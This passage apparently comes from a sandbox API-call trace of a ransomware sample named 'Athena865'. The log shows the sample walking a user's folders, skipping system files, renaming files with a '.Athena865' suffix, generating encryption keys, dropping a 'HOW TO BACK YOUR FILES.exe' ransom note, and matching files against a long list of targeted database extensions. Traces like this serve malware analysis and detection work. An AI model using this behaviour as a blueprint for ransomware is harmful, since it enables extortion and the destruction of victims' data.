(lpString1="8fTkcnQUwae4Ny.flv", lpString2=".ini") returned 1 [0049.664] lstrlenW (lpString=".sys") returned 4 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2=".sys") returned 1 [0049.664] lstrlenW (lpString="8fTkcnQUwae4Ny.flv") returned 18 [0049.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8fTkcnQUwae4Ny.flv.Athena865") returned 92 [0049.664] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8fTkcnQUwae4Ny.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8ftkcnquwae4ny.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8fTkcnQUwae4Ny.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8ftkcnquwae4ny.flv.athena865"), dwFlags=0x1) returned 1 [0049.665] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8fTkcnQUwae4Ny.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8ftkcnquwae4ny.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.665] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22498) returned 1 [0049.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.666] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.666] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.666] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5af0, lpName=0x0) returned 0x17c [0049.667] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5af0) returned 0x100000 [0049.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.668] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.668] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.669] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.669] CloseHandle (hObject=0x17c) returned 1 [0049.669] CloseHandle (hObject=0x154) returned 1 [0049.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.670] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0049.670] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.670] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.670] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0049.670] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0049.671] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0049.671] lstrlenW (lpString="Adobe") returned 5 [0049.671] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0049.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508f00 [0049.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50ef50 [0049.671] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0049.671] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0049.671] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b56a7f0, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x4aab0ec0, ftLastAccessTime.dwHighDateTime=0x1d4d49f, ftLastWriteTime.dwLowDateTime=0x4aab0ec0, ftLastWriteTime.dwHighDateTime=0x1d4d49f, nFileSizeHigh=0x0, nFileSizeLow=0x16431, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CsnV8Yv1T6B7Z1J.mkv", cAlternateFileName="CSNV8Y~1.MKV")) returned 1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2=".") returned 1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="..") returned 1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="windows") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="bootmgr") returned 1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="temp") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="pagefile.sys") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="boot") returned 1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="ids.txt") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="ntuser.dat") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="perflogs") returned -1 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2="MSBuild") returned -1 [0049.675] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv") returned 19 [0049.675] lstrcpyW (in: lpString1=0x241e8c8, lpString2="CsnV8Yv1T6B7Z1J.mkv" | out: lpString1="CsnV8Yv1T6B7Z1J.mkv") returned="CsnV8Yv1T6B7Z1J.mkv" [0049.675] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv") returned 19 [0049.675] lstrlenW (lpString="Athena865") returned 9 [0049.675] lstrcmpiW (lpString1="B7Z1J.mkv", lpString2="Athena865") returned 1 [0049.675] lstrlenW (lpString=".dll") returned 4 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2=".dll") returned 1 [0049.675] lstrlenW (lpString=".lnk") returned 4 [0049.675] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2=".lnk") returned 1 [0049.676] lstrlenW (lpString=".ini") returned 4 [0049.676] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2=".ini") returned 1 [0049.676] lstrlenW (lpString=".sys") returned 4 [0049.676] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv", lpString2=".sys") returned 1 [0049.676] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv") returned 19 [0049.676] lstrlenW (lpString="bak") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1 [0049.676] lstrlenW (lpString="ba_") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1 [0049.676] lstrlenW (lpString="dbb") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1 [0049.676] lstrlenW (lpString="vmdk") returned 4 [0049.676] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1 [0049.676] lstrlenW (lpString="rar") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1 [0049.676] lstrlenW (lpString="zip") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1 [0049.676] lstrlenW (lpString="tgz") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1 [0049.676] lstrlenW (lpString="vbox") returned 4 [0049.676] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1 [0049.676] lstrlenW (lpString="vdi") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1 [0049.676] lstrlenW (lpString="vhd") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1 [0049.676] lstrlenW (lpString="vhdx") returned 4 [0049.676] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1 [0049.676] lstrlenW (lpString="avhd") returned 4 [0049.676] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1 [0049.676] lstrlenW (lpString="db") returned 2 [0049.676] lstrcmpiW (lpString1="kv", lpString2="db") returned 1 [0049.676] lstrlenW (lpString="db2") returned 3 [0049.676] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1 [0049.677] lstrlenW (lpString="db3") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1 [0049.677] lstrlenW (lpString="dbf") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1 [0049.677] lstrlenW (lpString="mdf") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1 [0049.677] lstrlenW (lpString="mdb") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1 [0049.677] lstrlenW (lpString="sql") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1 [0049.677] lstrlenW (lpString="sqlite") returned 6 [0049.677] lstrcmpiW (lpString1="1J.mkv", lpString2="sqlite") returned -1 [0049.677] lstrlenW (lpString="sqlite3") returned 7 [0049.677] lstrcmpiW (lpString1="Z1J.mkv", lpString2="sqlite3") returned 1 [0049.677] lstrlenW (lpString="sqlitedb") returned 8 [0049.677] lstrcmpiW (lpString1="7Z1J.mkv", lpString2="sqlitedb") returned -1 [0049.677] lstrlenW (lpString="xml") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1 [0049.677] lstrlenW (lpString="$er") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1 [0049.677] lstrlenW (lpString="4dd") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1 [0049.677] lstrlenW (lpString="4dl") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1 [0049.677] lstrlenW (lpString="^^^") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1 [0049.677] lstrlenW (lpString="abs") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1 [0049.677] lstrlenW (lpString="abx") returned 3 [0049.677] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1 [0049.677] lstrlenW (lpString="accdb") returned 5 [0049.677] lstrcmpiW (lpString1="J.mkv", lpString2="accdb") returned 1 [0049.677] lstrlenW (lpString="accdc") returned 5 [0049.677] lstrcmpiW (lpString1="J.mkv", lpString2="accdc") returned 1 [0049.678] lstrlenW (lpString="accde") returned 5 [0049.678] lstrcmpiW (lpString1="J.mkv", lpString2="accde") returned 1 [0049.678] lstrlenW (lpString="accdr") returned 5 [0049.678] lstrcmpiW (lpString1="J.mkv", lpString2="accdr") returned 1 [0049.678] lstrlenW (lpString="accdt") returned 5 [0049.678] lstrcmpiW (lpString1="J.mkv", lpString2="accdt") returned 1 [0049.678] lstrlenW (lpString="accdw") returned 5 [0049.678] lstrcmpiW (lpString1="J.mkv", lpString2="accdw") returned 1 [0049.678] lstrlenW (lpString="accft") returned 5 [0049.678] lstrcmpiW (lpString1="J.mkv", lpString2="accft") returned 1 [0049.678] lstrlenW (lpString="adb") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0049.678] lstrlenW (lpString="adb") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0049.678] lstrlenW (lpString="ade") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1 [0049.678] lstrlenW (lpString="adf") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1 [0049.678] lstrlenW (lpString="adn") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1 [0049.678] lstrlenW (lpString="adp") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1 [0049.678] lstrlenW (lpString="alf") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1 [0049.678] lstrlenW (lpString="ask") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1 [0049.678] lstrlenW (lpString="btr") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1 [0049.678] lstrlenW (lpString="cat") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1 [0049.678] lstrlenW (lpString="cdb") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1 [0049.678] lstrlenW (lpString="ckp") returned 3 [0049.678] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1 [0049.678] lstrlenW (lpString="cma") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1 [0049.679] lstrlenW (lpString="cpd") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1 [0049.679] lstrlenW (lpString="dacpac") returned 6 [0049.679] lstrcmpiW (lpString1="1J.mkv", lpString2="dacpac") returned -1 [0049.679] lstrlenW (lpString="dad") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1 [0049.679] lstrlenW (lpString="dadiagrams") returned 10 [0049.679] lstrcmpiW (lpString1="6B7Z1J.mkv", lpString2="dadiagrams") returned -1 [0049.679] lstrlenW (lpString="daschema") returned 8 [0049.679] lstrcmpiW (lpString1="7Z1J.mkv", lpString2="daschema") returned -1 [0049.679] lstrlenW (lpString="db-journal") returned 10 [0049.679] lstrcmpiW (lpString1="6B7Z1J.mkv", lpString2="db-journal") returned -1 [0049.679] lstrlenW (lpString="db-shm") returned 6 [0049.679] lstrcmpiW (lpString1="1J.mkv", lpString2="db-shm") returned -1 [0049.679] lstrlenW (lpString="db-wal") returned 6 [0049.679] lstrcmpiW (lpString1="1J.mkv", lpString2="db-wal") returned -1 [0049.679] lstrlenW (lpString="dbc") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1 [0049.679] lstrlenW (lpString="dbs") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1 [0049.679] lstrlenW (lpString="dbt") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1 [0049.679] lstrlenW (lpString="dbv") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1 [0049.679] lstrlenW (lpString="dbx") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1 [0049.679] lstrlenW (lpString="dcb") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1 [0049.679] lstrlenW (lpString="dct") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1 [0049.679] lstrlenW (lpString="dcx") returned 3 [0049.679] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1 [0049.679] lstrlenW (lpString="ddl") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1 [0049.680] lstrlenW (lpString="dlis") returned 4 [0049.680] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1 [0049.680] lstrlenW (lpString="dp1") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1 [0049.680] lstrlenW (lpString="dqy") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1 [0049.680] lstrlenW (lpString="dsk") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1 [0049.680] lstrlenW (lpString="dsn") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1 [0049.680] lstrlenW (lpString="dtsx") returned 4 [0049.680] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1 [0049.680] lstrlenW (lpString="dxl") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1 [0049.680] lstrlenW (lpString="eco") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1 [0049.680] lstrlenW (lpString="ecx") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1 [0049.680] lstrlenW (lpString="edb") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1 [0049.680] lstrlenW (lpString="epim") returned 4 [0049.680] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1 [0049.680] lstrlenW (lpString="fcd") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1 [0049.680] lstrlenW (lpString="fdb") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1 [0049.680] lstrlenW (lpString="fic") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1 [0049.680] lstrlenW (lpString="flexolibrary") returned 12 [0049.680] lstrcmpiW (lpString1="1T6B7Z1J.mkv", lpString2="flexolibrary") returned -1 [0049.680] lstrlenW (lpString="fm5") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1 [0049.680] lstrlenW (lpString="fmp") returned 3 [0049.680] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1 [0049.680] lstrlenW (lpString="fmp12") returned 5 [0049.681] lstrcmpiW (lpString1="J.mkv", lpString2="fmp12") returned 1 [0049.681] lstrlenW (lpString="fmpsl") returned 5 [0049.681] lstrcmpiW (lpString1="J.mkv", lpString2="fmpsl") returned 1 [0049.681] lstrlenW (lpString="fol") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1 [0049.681] lstrlenW (lpString="fp3") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1 [0049.681] lstrlenW (lpString="fp4") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1 [0049.681] lstrlenW (lpString="fp5") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1 [0049.681] lstrlenW (lpString="fp7") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1 [0049.681] lstrlenW (lpString="fpt") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1 [0049.681] lstrlenW (lpString="frm") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1 [0049.681] lstrlenW (lpString="gdb") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0049.681] lstrlenW (lpString="gdb") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1 [0049.681] lstrlenW (lpString="grdb") returned 4 [0049.681] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1 [0049.681] lstrlenW (lpString="gwi") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1 [0049.681] lstrlenW (lpString="hdb") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1 [0049.681] lstrlenW (lpString="his") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1 [0049.681] lstrlenW (lpString="ib") returned 2 [0049.681] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1 [0049.681] lstrlenW (lpString="idb") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1 [0049.681] lstrlenW (lpString="ihx") returned 3 [0049.681] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1 [0049.682] lstrlenW (lpString="itdb") returned 4 [0049.682] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1 [0049.682] lstrlenW (lpString="itw") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1 [0049.682] lstrlenW (lpString="jet") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1 [0049.682] lstrlenW (lpString="jtx") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1 [0049.682] lstrlenW (lpString="kdb") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1 [0049.682] lstrlenW (lpString="kexi") returned 4 [0049.682] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1 [0049.682] lstrlenW (lpString="kexic") returned 5 [0049.682] lstrcmpiW (lpString1="J.mkv", lpString2="kexic") returned -1 [0049.682] lstrlenW (lpString="kexis") returned 5 [0049.682] lstrcmpiW (lpString1="J.mkv", lpString2="kexis") returned -1 [0049.682] lstrlenW (lpString="lgc") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1 [0049.682] lstrlenW (lpString="lwx") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1 [0049.682] lstrlenW (lpString="maf") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1 [0049.682] lstrlenW (lpString="maq") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1 [0049.682] lstrlenW (lpString="mar") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1 [0049.682] lstrlenW (lpString="marshal") returned 7 [0049.682] lstrcmpiW (lpString1="Z1J.mkv", lpString2="marshal") returned 1 [0049.682] lstrlenW (lpString="mas") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1 [0049.682] lstrlenW (lpString="mav") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1 [0049.682] lstrlenW (lpString="maw") returned 3 [0049.682] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1 [0049.682] lstrlenW (lpString="mdbhtml") returned 7 [0049.683] lstrcmpiW (lpString1="Z1J.mkv", lpString2="mdbhtml") returned 1 [0049.683] lstrlenW (lpString="mdn") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1 [0049.683] lstrlenW (lpString="mdt") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1 [0049.683] lstrlenW (lpString="mfd") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1 [0049.683] lstrlenW (lpString="mpd") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1 [0049.683] lstrlenW (lpString="mrg") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1 [0049.683] lstrlenW (lpString="mud") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1 [0049.683] lstrlenW (lpString="mwb") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1 [0049.683] lstrlenW (lpString="myd") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1 [0049.683] lstrlenW (lpString="ndf") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1 [0049.683] lstrlenW (lpString="nnt") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1 [0049.683] lstrlenW (lpString="nrmlib") returned 6 [0049.683] lstrcmpiW (lpString1="1J.mkv", lpString2="nrmlib") returned -1 [0049.683] lstrlenW (lpString="ns2") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1 [0049.683] lstrlenW (lpString="ns3") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1 [0049.683] lstrlenW (lpString="ns4") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1 [0049.683] lstrlenW (lpString="nsf") returned 3 [0049.683] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1 [0049.683] lstrlenW (lpString="nv") returned 2 [0049.683] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1 [0049.683] lstrlenW (lpString="nv2") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1 [0049.684] lstrlenW (lpString="nwdb") returned 4 [0049.684] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1 [0049.684] lstrlenW (lpString="nyf") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1 [0049.684] lstrlenW (lpString="odb") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0049.684] lstrlenW (lpString="odb") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1 [0049.684] lstrlenW (lpString="oqy") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1 [0049.684] lstrlenW (lpString="ora") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1 [0049.684] lstrlenW (lpString="orx") returned 3 [0049.684] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1 [0049.684] lstrlenW (lpString="owc") returned 3 [0049.684] lstrcmpiW 